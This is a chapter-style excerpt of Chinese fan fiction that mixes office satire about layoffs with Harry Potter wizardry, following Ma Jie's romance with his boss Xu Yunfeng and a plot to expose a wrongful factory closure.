马杰坐在沙发上,咪咪就停在靠背上贴着他,这幅安静乖巧的模样让马杰想起刚去霍格沃兹的时候,白天他努力学习语言,晚上就坐在床上拉好床帘悄悄抹眼泪。他哭的无声无息,没被人发现过,只有刚买回来的雪鸮安静乖巧地陪着他,用头蹭他的脸,蹭的马杰满脸湿漉漉的。
马杰就笑了,小小声地问它,你怎么这么像我家猫啊,它就喜欢蹭我的脸……我叫你咪咪好不好?
雪鸮——咪咪也小小声地咕咕应着。
好久没想起来当时的事了,马杰心情好了点,笑着抬手摸了摸咪咪的头:
“我尽力不被拐走,你还陪着我好不好?”
咪咪“咕”了一声。
“对不起啊,以后你又只能一天吃两顿饭了。”
咪咪蹭了蹭马杰的手。
马杰于是站起来,给自己喊了声“加油”,又振奋精神去冰箱给咪咪拿肉了。
就是这冰箱满满当当的……看来周末没法实现外卖自由了。
16
第二天马杰依旧无所事事,徐云峰一天没出现,五点后Peter再次出现在马杰办公室。
“我不知道,这两天我见徐总的次数比您还少。”
马杰没等Peter发问抢先回答,Peter无语地看他一眼。
“我知道,今天做会议记录的人是我,Jeffrey甚至特地强调他不想见你。”
“特地”两个字被Peter加上了重音,马杰尴尬地笑了笑,刻意忽略了心中的空落。
“算了算了,找你不是为了说这个。”Peter摆了摆手,“过两天来个新人,你来带。”
马杰啊了一声,犹豫片刻还是八卦:“大裁员的时候来新人,这是谁的关系户啊?”
“不该问的别瞎打听。”Peter心情极差地呛了回去,看着马杰迅速缩回去的头又咬了咬牙,“……Thomas安排进来的。”
“哦——”马杰心满意足地点点头,又奇怪地看向Peter,再次犹犹豫豫地问出声,“Peter……总,您怎么又告诉我了?”
Peter看上去有点窒息。
“我现在怀疑你小子干出这种事都是因为我没教好,”Peter咬着牙,看上去想把马杰嚼吧嚼吧吃了,“所以我决定以后多和你说几句,以免再遇到这种天上掉馅饼的好事你又搞砸了。”
马杰点了点头。懂了,教人怎么溜须拍马呗。
“那你说,我为什么要把这次的新人安排给你带?”
“……为了让我巴结Thomas总?”
“……因为我不能确定你和Jeffrey的关系断没断干净,不敢给你安排太多工作;这次的新人也是个关系户,你跟他也能学学怎么讨好上司;再者Jeffrey要是再想起你来也是找Thomas的麻烦,找不到我身上。懂了吗?”
马杰条件反射地掏出本子想记上,刚下笔又惊恐地抬头看向Peter。
我靠,这话是能跟我说的吗?
他甚至怀疑Peter是不是误食了吐真剂——马杰本来觉得魔药这种东西很难误食,但经过司康一事后他不敢保证了。
Peter不会杀了他灭口吧?
Peter没杀他,相反,他哥俩好地揽住马杰的肩:
“Magic,我可是拿你当自己人才跟你说这么多的,你多听多学,以后高升别忘了哥哥我就行。”
懂了,大饼在这儿呢。
马杰从善如流:“Peter哥您放心,您对我的信任我没齿难忘。”
虽然马杰猜不透徐云峰,但这位的马屁他手到擒来,即使不理解Peter从哪儿看出来自己还有高升的机会,但话谁还不会说?
Magic可不是什么职场小白。
17
见到胡建林第一眼,马杰实在没想到自己能从他身上学到什么讨好上司的技巧。随着时间推移,他更加坚定了当初的想法,甚至扩展到了他从胡建林身上学不到任何东西——除了做个锤子。
但考虑到他是错调的,那也情有可原,就是苦了马杰,没过几天清闲日子就又开始了忙碌,甚至比之前更甚。
不是天选麻瓜不要紧,他马杰可是天选打工人!
……天选打工人也干不了两个人的活!
马杰努力,马杰拼命,马杰放弃,马杰决定借个外包过来帮忙。
见到Penny的时候马杰没想太多,他只是庆幸之后有人帮他分摊工作了。壮不高兴也没关系,马杰随口把人分去点人头。当然,即使后来发现这是一场酣畅淋漓的死亡大点兵,但结果是好的嘛,至少推进了广进计划顺利进行。事实上,马杰真的觉得他的日子就要幽而复明了。
直到他点开企业微信,徐云峰头像就明晃晃挂在顶位,不用点进去就能看见他简洁的通知:
今天五点来找我。
马杰向下瞥了眼时间,16:57。
马杰发出了被掐住脖子的曼德拉草的尖叫,蹭地一下站起来,随意嘱托了被吓到的叛逆几句就冲向了电梯,刷工卡,奔向徐云峰办公室,一气呵成。
正当他对着玻璃整理仪容仪表并尽力平复呼吸打算至少让自己死前保持最好的状态时,徐云峰开门出来了。
好消息,喘气止住了。
坏消息,呼吸停止了。
通过玻璃的反射,马杰好像看到徐云峰在笑,他没敢转身去验证,也没敢不转身,于是他转了一半,面向办公室门口——错位面向。
“过来拿钥匙。”
徐云峰的声音好像带着笑。马杰低着头快步走到徐云峰身边,双手接过车钥匙,然后亦步亦趋跟在了徐云峰后面。
电梯里的这几秒马杰再次发挥了他胡思乱想的本领,但想来想去也想不出来徐云峰到底想干什么。解药他肯定是喝了的,马杰第二天起来收拾东西的时候桌子上没剩多少菜,粥更是一滴不剩。不可能是倒掉了,不然这几天徐云峰的行为也解释不了啊。叫他干嘛?当司机?马杰不信徐云峰这么大个k14没自己的专职司机。但也没别的可能啊!总不能是去暖床,迷情剂事件前他也没听说过徐云峰是弯的啊!
当然,就算是走神马杰也时刻关注着一步外的徐云峰,等他停下之后熟练地开锁上车,倒车出库,然后……然后马杰也不知道该做什么了。
秉持着早死晚死都要死早死早超生赶着投个好胎以后不当社畜的想法,马杰小小地鼓足了一下勇气,抬头看向徐云峰,谦卑里带着百分之二百的疑惑:
“徐总,我能问问您叫我到底有什么事吗?”
徐云峰深深地看着马杰,半晌低下了头:
“抱歉。”
马杰一哆嗦踩下了油门,差一点在地下停车场带着这辆昂贵的车和徐云峰殉情。
18
【众和论坛】John到底什么来头啊?
1L 楼主
rt,我怎么越来越看不懂这个世界了
2L
咱们公司还有叫John的?
3L 楼主
回复2L:壮:)
4L
回复3L:……不是故意的,真没反应过来,主要是他自我介绍也不说John啊??
5L
不是皇子吗?培训那天和皇上那亲近……你没看见?
6L 楼主
回复5L:我hr的,之前听同事说是火车头塞进来的,没过几天就又听说是皇子……就算是皇子进来体验生活也不至于走火车头这条线吧?
7L
怎么不可能,老鼠替皇上安排的呗,没看是哈利波特带的他,什么活都不让干?
8L 楼主
回复7L:皇上指派老鼠?高力士这是彻底失宠了吗?
9L
回复8L:看破不说破,默默站队就好?
10L
回复7L:???老鼠不是把哈利波特踹了吗???
11L 楼主
回复10L:俩人戒指都没摘……训狗罢了,种狗都没当真
12L
?不是在讨论壮嘛,哈利波特是谁
13L
回复12L:有些话很难明说,毕竟哈利波特本人会逛论坛
14L 楼主
回复12L:老鼠的小蜜,hrk9,前一阵子老鼠闹的全公司都知道的那位真爱,k8待了五六年升k9第二天就和老鼠带上了对戒,可有手段了。顺带一提,男的;)
15L 楼主
回复13L:怕什么,哈利波特现在是太子伴读,忙得都要猝死了,还有时间逛论坛?一会儿讨论完了我就删
16L 楼主
逻辑顺下来倒也没错,但谁家皇子进公司当修理工啊……
师傅你是干什么工作的.jpg
17L
高级钳工(即答)
18L
回复17L:哥们儿你别笑死我
19L
这倒是真的,上次他来我们部门点名(我靠十点多皇子也不回家)点到我我一激动站起来的同时踹坏了我的椅子,他不知道从哪儿掏出来一堆工具三下五除二给我修好了,末了还语重心长地跟我说:××啊,做事这么马虎可不行
没开玩笑我当时一键趋势?
20L
回复19L:……兄弟还逛论坛呐,第二批名单上要没你名字我不信
21L
回复20L:……我今晚熬到凌晨一点,我睡公司了就
22L 楼主
回复20L:修东西也不忘本职工作是吧:P诶要这么说……说不定人皇子的兴趣爱好就是修东西呢
23L 楼主
这么想我就理解了,人身份特殊,兴趣爱好抽象点多正常,我完全理解了
24L
回复23L:你理解了就好?问一下,你是不是昨天请假了?
25L 楼主
回复24L:你怎么知道?
26L
回复25L:因为昨天哈利波特和老鼠一起下楼了,种狗现在根本不敢给他安排任何工作,也不敢推给壮,被调过来的外包一个人承担了所有!
27L 楼主
这个世界是个巨大的关系户!
马杰退出帖子,果然首页已经没了踪迹。
马杰有点尴尬,他本意真的只是想看看谣言传到了何种程度,结果不小心吃了嘴自己的八卦。
以及26楼……是叛逆吧?感觉她现在能把自己和壮撕了。
不过这条逻辑链确实有理有据令人信服,如果马杰不知道实情都要信了。
说真的,马杰觉得自己活在一场荒诞喜剧里,壮毫无疑问是那个主角,终将步步高升,叛逆传递正能量,告诉大家要不畏强权,自己则是三人组里的对照组,主角捅破了天都要自己来补。
当然,这不是个喜剧电影,马杰不会围着壮转,他也有自己的生活。
即使依旧操蛋。
“我很抱歉这几天冷落了你,那天给你签了合同我仔细想了想,没想明白我到底为什么爱你……当时脑子有些乱,我需要冷静一段时间,需要好好想想我的感情。马杰,遇见你之前我从没喜欢过男人,我还谈过几任女朋友,直到遇见了你,我被你吸引了。现在我想明白了,我确实爱你,没有原因,或者说你本身就是原因。我是真心想要和你在一起,你愿意接受我吗?”
马杰再次回想起昨天车里徐云峰的深情告白,无力地瘫在了椅子上。
他好像凭借一己之力把徐总掰弯了。
也没人告诉他徐云峰会自我攻略啊!
昨天马杰失语下车落荒而逃,回来就发现徐云峰体贴地发消息告诉他不用急着回复,他给他时间考虑。
马杰不想考虑,马杰想去死。
但现实不允许他死,叛逆形式性敲了敲门走进马杰办公室,没好气地把打印好的报告扔给他:
“签字。”
马杰悻悻地签好字,讨好地双手递给她。叛逆更生气了,没接文件,而是一屁股坐到马杰对面,开门见山:
“马杰克,坦白从宽抗拒从严,你和Jeffrey那事真的假的?”
“……半真半假。”
马杰缩了缩脖子。
“哪些真哪些假?”
“你都知道哪些?”
“一晚上升k9?”
“真的。”
“第二天带对戒?”
“真的。”
“那天Jeffrey领带是你的?”
“真的。”
“天天一起准时下班?”
“真的。”
“吻痕?”
“……真的。”
叛逆一巴掌拍在桌子上。
“你告诉我假在哪儿?!”
马杰想说一切都是误会,但误会在哪儿?徐云峰甚至自己把自己掰弯了!
马杰张了张嘴,最终弱弱地反驳:“我不喜欢他。”
叛逆沉默,沉默地拿出手机点了几下,然后把自拍模式的相机对准了马杰。
“还不喜欢呢,你看看你自己,都快哭了,不知道的还以为我欺负你了呢……分明是你和壮两个k9欺负我一个外包。”
马杰愣愣地看着相机里的自己,眼圈确实红的要命,怪不得眼那么酸。
原来……自己喜欢徐云峰吗?
19
马杰到底喜欢徐云峰什么?
这是个很抽象的问题,尤其是分析对象还是马杰。
早在霍格沃兹的时候,马杰的迟钝就全校皆知,毕竟不是所有人都能在青春活力充满荷尔蒙的六年级闻到火锅味的迷情剂。
那是个好时候,就像大自然的春天,没有寒冬的威胁——O.W.Ls刚刚过去,下一个挨饿的日子还远——N.E.Ws遥遥无期。饱暖思□□,自然之理,天时地利人和,不发展几段青春的爱恋简直暴殄天物。
但就是在那时候,马杰的迷情剂依旧是火锅味——英国菜真的很难吃,马杰无时无刻不在思念家乡美食。
等马杰毕业回国上大学,他依旧是个很迟钝的人,舍友的女朋友换了一茬,有人还没毕业就修成正果,马杰依旧清心寡欲,满心满眼只有奖学金。舍友婚礼上还和他打趣,当初班级投票表决你是最适合成家的男人,怎么到现在还是母单啊。
当初那么安逸的环境都没让马杰产生爱情,怎么到了众和这个监狱平替的公司爱情产生了呢?
原理呢?
他是说过把命卖给公司,但他没想到他真做到了啊?
马杰到底爱徐云峰什么?
或许,马杰爱的不是徐云峰,不单单是徐云峰,他爱的是特权。他爱Peter讨好的语气,爱不用赶地铁的早上,爱悠闲的工作,爱大手大脚花钱的爽快。他爱徐云峰明目张胆的偏爱,爱他目空一切的眼神只为自己停留,爱他轻而易举托住了马杰摇摇欲坠的人生。
马杰没办法拒绝这个,他小小的野心叫嚣着接受。
然后马杰的胆怯瞬间涌上心头,除野心以外的所有都在想逃跑。
所以马杰逃了,像之前无数次一样,他逃进了床帘,逃进了课本,逃进了复习班,逃进了奖学金。
他逃到现在,逃出了一个一人吃饱全家不饿的境地。
然后徐云峰闯进来,把他窝窝囊囊的生活搅得天翻地覆。步步紧逼,马杰逃无可逃。
对啊,马杰逃无可逃,他还能怎么办呢?
“除了答应我还能怎么办呢?”
“拒绝,然后带着五百万滚蛋?”
叛逆没管马杰连着自己一带而过的过去的伤春悲秋,一针见血地指出解决方案。马杰眼泪汪汪地看着这个狠心的女人,叛逆撇了撇嘴。
“我算是看出来了,马杰克你确实很会逃啊,承认自己动心了这么难吗?徐云峰可没把你逼到走投无路,你是自己想答应的。”
“……我要是答应了以后咱们的报告就真要你一个人写了。”
“……我还没到为了工作牺牲自己兄弟幸福的程度!”
叛逆伸手夺过马杰签好字的文件拍上他的头,马杰再次缩了缩脖子,讨好地朝叛逆笑了笑。
20
马杰恢复了无所事事的状态。
叛逆被调走去别的地方工作了,盼马壮组合还是没能走上年会,Peter和Mark顶替了伴舞的位置。本来应该有马杰的一席之地,但徐云峰没同意,所以马杰坐在他斜后方看了一整场——没坐太近,董事长就坐在徐云峰旁边呢,马杰不敢。
现在想想江边约定好的兄弟,马杰都怀疑是他喝醉了幻想出来的。毕竟壮也不太像胡师傅了,他也像以前马杰所有的草包上司一样开始装腔作势,之前是真糊涂,现在是装明白。叛逆也不常见到了,但应该是还没转正,刚分开还会儿和马杰在私人微信里吐槽几句上司,现在也没话可说了。转正其实就是一句话的事,但不知道为什么,叛逆没提过,壮和马杰也没表示过。
马杰确确实实回到了徐云峰中迷情剂时的状态,多出来的平级对他也没影响,毕竟没上司敢给他安排工作,五点以后他的时间属于徐云峰。
21
“你冰箱里面又空了?”
徐云峰不满地坐在副驾驶,马杰正载着他去超市,闻言同样有些不满地嘟囔:“吃了我好几个月呢。”
“嗯?”
“徐总您教训的是。”
马杰从善如流地服了软。
但徐云峰那边沉默了,片刻后再次以马杰难以想象的语气道了歉。
“抱歉,我只是不希望你吃太多外卖,对身体不好……我还是在用上司对下属的方式对你,我会尽量注意的。”
马杰一心三用,要观察路况,要控制自己被震惊的大脑不要影响开车,还要纠结该怎么回答。
说不介意吧,这和徐云峰想达成的效果不一致;说你下次注意吧,马杰说不出口;说我一定注意……更是个馊主意。
当你答什么都不行的时候,最好顾左右而言他。
“今晚你想吃什么?徐……云峰。”
马杰看前面没车,走神瞥了一眼徐云峰,徐云峰也正看着他,对视过后笑了。
“我想喝粥,但我不想喝白粥了。”
“……我给你在粥里放点南瓜?”
你当我给你喝白粥是故意虐待你呢?我也不会熬别的啊!
“马杰,你知道公司里都说你是看起来最适合成家的人吗?叫什么……人夫感?”
“啊……?还有这种说法?”
“嗯,说你看起来像家庭煮夫,也不知道他们尝过你做的饭之后还会不会这么说。”
马杰张嘴,马杰想反驳,马杰不知道怎么反驳,马杰闭嘴,马杰委委屈屈。
“……反正他们又尝不到。”
马杰分神去想,最适合成家……他倒是想起来他扫过一眼的帖子,盖了几百层楼,他看了几眼就退出去了,毕竟他又不用考虑这些东西。自己上榜了?看上去好像还是公认的榜首……
……
等等徐云峰怎么知道的???
马杰惊恐地意识到了论坛里所有人都没意识到的一件事——谁说高层不逛论坛了?
自从自己和徐云峰有了关系,论坛里“哈利波特”这个代称就变得讳莫如深了,连带着“老鼠”被提起来的次数都少了很多。大家都知道马杰会逛论坛,毕竟扎根基层这么多年摸鱼的手段大家心照不宣。但徐云峰,空降大领导,刚被董事长挖过来就是k12,没几年就晋升k14,一直到现在,再加上他一直冷若冰霜遗世独立那个形象,没人想过他会逛论坛。
现在,马杰似乎得知了一个秘密。
一路上马杰的想法冒了一个又一个,多到都可以叠在身后和徐云峰玩老鹰抓小鸡了,一直到了超市都没停住胡思乱想,终于在徐云峰挑菜的时候问了出口:
“徐……云峰,你还逛论坛啊?”
马杰本来想问你居然知道众和有内部论坛,但他突然想起来——
“对啊,官网就有论坛入口。”徐云峰没在意,把挑好的南瓜装在一起去称重,马杰跟了上去。
“那你也看见……论坛里……”
“什么?”
徐云峰停下,回头看向欲言又止的马杰,马杰的语气也就更委婉了些。
“就是……公司员工的一些小牢骚之类的……”
“哦,你说这个啊。”徐云峰点了点头,继续向称重区走去,边走边和马杰解释,“马杰,你都是k9了,也算是个小领导,我教你一招做领导的要领:你要给下属发泄的空间。不必太刻意,可以适当引导他们互相埋怨,激化矛盾。”
南瓜称好了,徐云峰把袋子放进马杰推着的购物车里,环视一圈换了个方向。
“当然,你要是觉得引导太麻烦,其实也没必要做什么,大多数人都会自己寻找发泄途径,比如这种解压玩具。”
徐云峰拿起货架上的小馒头捏捏乐,这个的包装上写着马杰熟悉的发疯窝囊文学“生活打压我,竟让我变得更加柔软”,徐云峰左看右看,好像还很喜欢,举起来向马杰询问:
“你要买一个吗?”
马杰头摇得像拨浪鼓,徐云峰看起来颇遗憾地放了回去。
“再比如就是在论坛里匿名发一些牢骚,说一些不敢当面说的话。这很正常,并且可以说很好,毕竟一般发泄过后就不会把情绪带到工作中了,效率提高了,这不是很好吗?我需要做的仅仅是不要点开骂我的帖子。”
马杰觉得自己胸口中了一箭,多年来暗戳戳骂上司的话突然全返了回来,并把当初的快慰带走了。好久没那么疼过了,他还以为他这种迟钝的人在多年社畜生活后已经不会再对这种话有感觉了呢。
或许是马杰多少也算麻木了,脸上没表现有多么悲伤,至少徐云峰没有发现。
“懂了吗?以后要是遇到这种情况,当不知道就好。”
他转过头温柔地朝马杰笑。
“你想吃什么?”
22
我叫马杰,万万没想到,我还是在海底捞过了生日。
“和所有的烦恼说拜拜~和所有的快乐说嗨嗨~”
马杰捂着脸,听着围绕在自己身边的音乐,突然后悔了当初带徐云峰来海底捞。他真傻,真的,他早该明白徐云峰的脑回路和他不一样,有可能以为自己喜欢这种过生日的方式。
i人的命也是命。
马杰抬起脸,扭头看向罪魁祸首,徐云峰含笑喝着饮料。
马杰把脸扭了回来。
他开始观察举着灯牌的海底捞员工。他们的脸上挂着稍有些真意的营业笑容,或许有那么一丝丝真心为马杰的生日感到快乐,但绝对不多。毕竟他们要接待那么多人,音乐在这一天里几乎从头到尾都不停,有些人是真的生日,有些人只是为了享受服务。亦真亦假的需求换亦真亦假的服务,很公平。
想到这儿,马杰心里的尴尬少了一些,在音乐播完后笑着跟员工一一道谢。
再之后拉面师傅过来,马杰以有史以来最近的距离观赏了这个海底捞保留节目,并在结束后如愿以偿报以掌声。
徐云峰冷眼旁观了这一切。
和之前那次一样,马杰一个人吃,徐云峰坐在旁边喝饮料。但不同的是,这次马杰和徐云峰之间没有那种尴尬的沉默,他们有一搭没一搭地聊着天,时不时还笑出声。
马杰觉得这应该归功于他没点毛肚。
一顿饭下来马杰总算找回了以往来海底捞得到的快乐,他还硬给徐云峰塞了碗番茄汤浇牛肉粒,徐云峰勉强尝了一口,然后沉默,在接下来改一杯杯喝饮料为一碗碗喝汤。马杰试图憋笑,但失败了,在他笑着又给徐云峰盛了一碗汤之后徐云峰终于忍不住,凑过去啃了一口马杰的嘴唇。
马杰于是不笑了,马杰脸通红。
这次来马杰没穿西装,徐云峰也穿得较为家常,他们两个就像一对普通的情侣。
一位服务员带着八卦微笑着走过他们的桌位,询问需不需要加汤,马杰有些慌乱地表示给番茄锅加一点,徐云峰安稳地坐在位置上优雅地喝汤,像一只餍足的猫。
回去的路上是徐云峰开的车,顺道去黑天鹅给马杰取了蛋糕,不大,他们两个吃刚好。回了家,马杰点了一根蜡烛,许愿升职加薪后吹灭了。然后徐云峰拿出一个长条状的盒子,马杰打开,里面是用红丝带系着的卷起来的一张纸,再解开丝带,把纸展开,马杰发现是一份文件。
他升职k10的。
马杰差点当场给徐云峰磕一个。
之所以是差点,是因为跪在徐云峰面前那一刻他的一些回忆涌上心头,所以头没能低下去。
他选择扯着徐云峰的领子让他弯下腰,然后深深吻了上去。
23
有一次应酬,连徐云峰都不得不喝酒的那种几个亿的大生意,马杰被拉去挡酒。等他们俩都醉醺醺地站在车边,才意识到应该留个人不喝酒当司机。
Thomas十分有眼力见地给叫了代驾才解决了问题。
马杰躺在床上,迟钝的脑子想了半天明白过来自己情商再次退化的原因——被徐云峰养废了。
马杰突然觉得徐云峰图谋已久,把他从以前熟悉的环境调出来,远离为数不多的朋友。他还中迷情剂的时候就有苗头,后来吃了解药消停一阵子,自我攻略之后就又把他和这一阵子交的朋友——壮和叛逆——隔开了。他记得徐云峰说过,他见不得马杰和叛逆走得近,所以才明白过来自己的心思。然后马杰能相处的只有徐云峰,他越来越依靠徐云峰,徐云峰也纵容他,然后他就被养废了,再也离不开——
马杰的左手被身旁的徐云峰十指相扣,打断了他的思绪。徐云峰把手举到空中,两枚银色的素戒在灯光下闪闪发亮。
徐云峰突然开口:
“众和是一台老机器。”
马杰含糊地应了一声。
“时代在发展,这样的老机器在过去是顶梁柱,在现在就该被淘汰。我不想让众和被淘汰,众和需要革新。”
马杰眨眨眼,比喝酒前迟了几秒才处理完这句话中的信息。说的也没错,所以马杰又应了一声。
“广进计划是敲门砖,要换掉机器旧的零件,换成新的,才能继续后面的改造,才能让旧机器重现生机。”
这么说……也没错。马杰有些混沌的脑子再过了一遍徐云峰的话,确实没什么错。但马杰潜意识里觉得不对,他闭上了眼,一些什么东西正叫嚣着,这不对。
或许是马杰迟迟没应,徐云峰也等不及了。他没再继续这个话题,但也没避开:
“我在国外留学的时候学过经济学……”
“我也在国外上过学。”
马杰突然插嘴,这次换徐云峰沉默,但手依然举着,戒指依旧反射灯光。
“什么时候?我没听你说过。”
马杰没说话,但呼吸渐渐平缓了,像是根本没突然说这么一句。
良久,徐云峰放下了手,轻轻笑了一声。
“真是醉了。”
他起身去了厨房,开门后咪咪迎面飞来,停在徐云峰头上咕咕直叫,催促他去给自己准备肉——它再次恢复了一日三餐的良好饮食习惯。
徐云峰关上门出去了,房间内,马杰依旧闭着眼,半晌说梦话似的嘟囔了一句:
“我也醉了。”
24
以上选自马杰和徐云峰生活中普通的日常,从中便可以看出他们过得安稳平淡。
所以当壮带着叛逆过来找自己说他调查出来标准件厂是被冤枉的的时候,马杰只觉得恍如隔世,喜剧电影的人生还是追了上来。
果然今早突然冒出来的危机感不是没有道理,他还特地带上了自己的魔杖。
啊,并且庄正直这个名字一出来,他发现他的身份原来不是缝缝补补的配角,他一整个大反派身边的小弟啊!
他好说歹说把人劝上了天台——至少天台没监控,不管说什么都不会留下痕迹——决定先动之以情晓之以理。
“壮,这份证据你不能交给董事长。”马杰顿了一下,犹豫地看了一眼叛逆,眼看着叛逆就要发火才说出真相,“其实你是错调进来的,当初Thomas想调的其实是庄正直。你现在把这东西告诉董事长,一调查咱们都得玩完。”
“你、你什么时候知道的?”
“你上班第一天。”
“不是,那你为什么不要告诉我啊?三百多人就因为你工作说没就没了,你的良心不会痛吗?”
壮的火气来的莫名其妙,指责也不明所以,叛逆还没从惊天大瓜中反应过来,没跟上他的思路。
马杰也没跟上,他肯定壮不会知道整个广进计划都是徐云峰的手笔,所以这句话不是在从这个层面说他见死不救。
但马杰明白自己的见死不救是事实,现在这么被喊出来,他的良心确实狠狠抽痛了一下,安逸生活的遮羞布被扯下来,露出下面的森森白骨。他也莫名有些恼羞成怒:
“卖职位的是Thomas,调错人的是Peter,偷换零件的是庄正直,膨胀了签字把厂子遣散了的人是您!”
壮瑟缩了一下,很明显心虚。叛逆扭过头,像是还没有反应过来。马杰继续喊着,好像声音再大一点就是真理。
“这里面就我什么错也没犯!怎么转眼间我站在道德制低点上了?”
他什么也没做,从徐云峰到庄正直这一条链环环相扣,他没在任何一个环节!
“如果你早说了,是不是就能早调查我?那我就能早一点发现庄正直的问题,我也就不会……将错就错,变得不仁不义,亲手把厂子搞没了……”
“……将错就错?你早就知道了?”
马杰扭头看向叛逆,她满脸迷茫,就像是在瓜田里迷路的猹。他扭回头,壮撇开眼,小幅度点了点头。
“那你有什么资格指责我?!”
“我是没有资格!我这不是后悔了吗?我,我想补救!你们两个一定要帮帮我,我需要你们!”
马杰愣住了。
“补救”两个字在他耳边不断重复,他看见叛逆终于反应过来,上前拍了拍壮的肩,他们两个一起看向他,壮上前开始摇晃他的身子。
“晚了。”
他轻声说。
壮没听清,停下晃他,让他再说一遍。叛逆神色莫名地看着他。
“晚了!”
他大声喊。
马杰一把夺过壮手里的证据,以他这辈子最快的速度朝天台边缘跑。有那么一瞬间,马杰想就这么和证据一起跳下去,然后就不用再纠结了。升职,加薪,徐云峰。裁员,失业,胡建林。他谁都不想选,马杰这辈子最讨厌的就是选择。
当一个问题回答什么都不对的时候,最好顾左右而言他。
马杰现在没办法言他,他想逃,逃到风里,让风托着他飞到一楼,飞得粉身碎骨血肉模糊,然后马杰就再也不用选择了。
但马杰一直是个胆小的人,看着脚下高耸的办公楼,他没敢再迈出那一步。
“你们都别过来!”
马杰举着证据悬在天台边缘,壮在他身后求他别做傻事。马杰想起来约定兄弟的那个江边,壮抱着他的腰让他别做傻事,阻止了他走向江里的步伐。
一切的回不去了。
“一切都已经晚了,后悔也没用,晚了!补救?还能怎么补救?”
“我们有证据!我们去举报——”
“然后呢?!你要怎么补救举报带来的后果?!”
马杰一直都在补救。徐云峰误食迷情剂,他为了补救,献出了自己。解药喂下去之后马杰的工作一地鸡毛,他为了补救,接手了John。John是错调的实际上什么都不懂,他为了补救,从外包调来了Penny。徐云峰因为Penny吃醋自我攻略,他为了补救,和徐云峰在一起了。
现在,他眼睁睁看着那条环环相扣的锁链勒死了无数人,他仍需要去补救,拆东墙补西墙,拆西墙补东墙,补来补去总有东西需要补。
他马杰就那么罪不可赦吗?需要在这场名为补救的无期徒刑里服刑至死?
“那你就什么也不做吗?”
马杰看向叛逆的眼,他一直都知道这个外包是个理想主义者,但此刻那双眼里的理想刺伤了他。
“……我还能怎么办呢?”
“我只知道,你要是逃了,你就要逃一辈子。逃不了的马杰克,那么多丢了工作的人压在你身上,迟早有一天你还会再踏上这里。”
马杰回头向下看,城市车水马龙,马杰不想死在这儿。
他费力勾了勾唇,挤出一个笑容。
“……实在不行,我还有五百万呢。”
他想往回走,但迟来的腿软让他差点摔下去,壮伸手扶住了他。马杰抬头,依旧是那副憨厚的笑,好像一直都没变。
马杰终于说出了他打算拿来劝壮的第二个理由:
“董事长现在不在公司,今晚年会才回来。”
25
说实话,当壮带着马杰来到徐云峰办公室的时候,马杰是带着侥幸心理的。
万一呢?万一标准件厂这事都是Thomas一手操办,徐云峰一概不知呢?壮只想讨这三百多人的公道,他和徐云峰其实有可能双赢。
他低着头,在壮说明原委后抬头看了一眼,徐云峰冷冷地看着他。
马杰于是知道,自己没拦住壮是误事了。
徐云峰说完我会解决就把壮打发了出去,把马杰留下了。听见关门声,马杰才敢抬头看徐云峰第二眼。
“你这是要联合外人……扳倒我吗?”
徐云峰冷着脸,声音听不出喜怒。
马杰知道自己又做错了事,现在该补救了,不能让徐云峰对他们那么警惕。当然,补救同样会扯开另一个口子,但马杰不想想那么多了。
“我如果想扳倒你,就不会把这份证据给你了。”
马杰垂下眼不再看他,片刻,徐云峰果然站起身,绕过桌子坐到了马杰一旁,伸手抱住了他。
“谢谢你选择我。”
“你不会良心不安吗?”
马杰张口,才发现自己声音哽咽。
他没想到自己会那么伤心,毕竟发现徐云峰知情之后马杰立刻就决定了要背叛他,这至少称不上爱。
“……马杰,这个世界存在等级,因为存在人性。你喜欢去海底捞,因为你是被服务的那一方,所有人都想当被服务的人,所以才有了压迫。你在享受海底捞的服务的时候,会感到良心不安吗?”
马杰沉默了。
他其实一直都明白,他和徐云峰是两种人,他只是在逃避。
他永远无法像徐云峰那样将人轻描淡写地表达成破旧零件,将六千个家庭的存亡视若无物。他永远无法像徐云峰那样对别人的服务视作理所当然,他最多将自己当做甲方,还不够刁钻,轻易就把正反馈给了出去。
徐云峰永远是一副上位者的模样,马杰不一样,他看到什么都会以己度人,打工人谁比谁高贵。
他和徐云峰是两个世界的人。
他们甚至都在互相隐瞒。徐云峰从没跟马杰详谈过广进计划,因为不屑;马杰从没跟徐云峰坦白过巫师身份,因为心虚。纸包不住火,现在徐云峰的广进计划能以其他方式被马杰得知,他们在一起的真相就总有一天会被徐云峰发现。
平淡安稳的生活是用沙堆出来的,风一吹就散了。
“你让我冷静一下。”
马杰挣脱开徐云峰的怀抱,起身想走,被徐云峰拉住了手,手上的戒指晃了马杰的眼。
徐云峰抬手抹去了马杰眼角的泪,戒指再次冰了一下他的脸。
“……年会后我们好好聊聊吧。”
马杰胡乱地点了点头,然后落荒而逃。刚出门壮就在门口等着,马杰赶紧抹了抹自己的眼解释:
“他……”
“庄正直来了!来找徐云峰!”
壮压低声音,急切地打断了马杰。
26
徐云峰是什么样的人?
优雅得体,目空一切。
马杰很高兴为了今晚的年会他打扮正式不少,这一身衣服还是徐云峰给他挑的呢,符合徐云峰的形象。叛逆匆忙地从外包借来一瓶发胶,马杰在卫生间简单弄了弄发型,这也容易,有好几次徐云峰的发型都是他帮忙做的。看着镜子里的自己,确实和徐云峰平时的装扮大差不差了,但马杰还是觉得别扭,不是因为脸。
马杰看着镜子里的自己,慢慢抿起了嘴,想象着面前是他在圣芒戈偶然见过的洛哈特,镜子里的他眼神变得
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轻蔑起来,这才有了些徐云峰的气质。
差不多了,他走出卫生间。
等见到庄正直,马杰只矜持地伸出一只手,庄正直就弯着腰双手握了上去。他微笑着把庄正直带到休息室,坐在沙发随意地把腿搭在另一条腿上,一伸手就打断了庄正直焦急的话。
“从头说。”
好装b,徐云峰过得都是什么好日子啊。
27
叛逆要是去选秀绝对能火,她早就给《我的未来不是梦》编好了新词——啊,不排除是去年年会被壮气的。
现在她还在给刚录好的视频剪辑,剪鬼畜……
如果时间足够,马杰不敢想象会有多炸裂,因为现在已经够炸裂了。
马杰坐在台阶上,默默背着自己的词——至少第一句不能看手机啊。
壮到底是怎么背过的?
“承认吧马杰克,你一点音乐细胞都没有。”
叛逆最后确认了一遍视频,没发现任何问题,果断保存退出。壮连忙凑了上去,脸上带着无法掩盖的喜色,又开始重复他们的计划。
叛逆坐到的马杰旁边,拍了拍他的肩。
“闷闷不乐的,知道你旧情难忘,你要是不想上就算了。”
马杰摇摇头。
“不,我就是觉得……”
“计划的很周到啊。”
Thomas的声音传来,马杰连忙起身抬头,看到徐云峰的那一刻心里的一块大石头还是落了地。
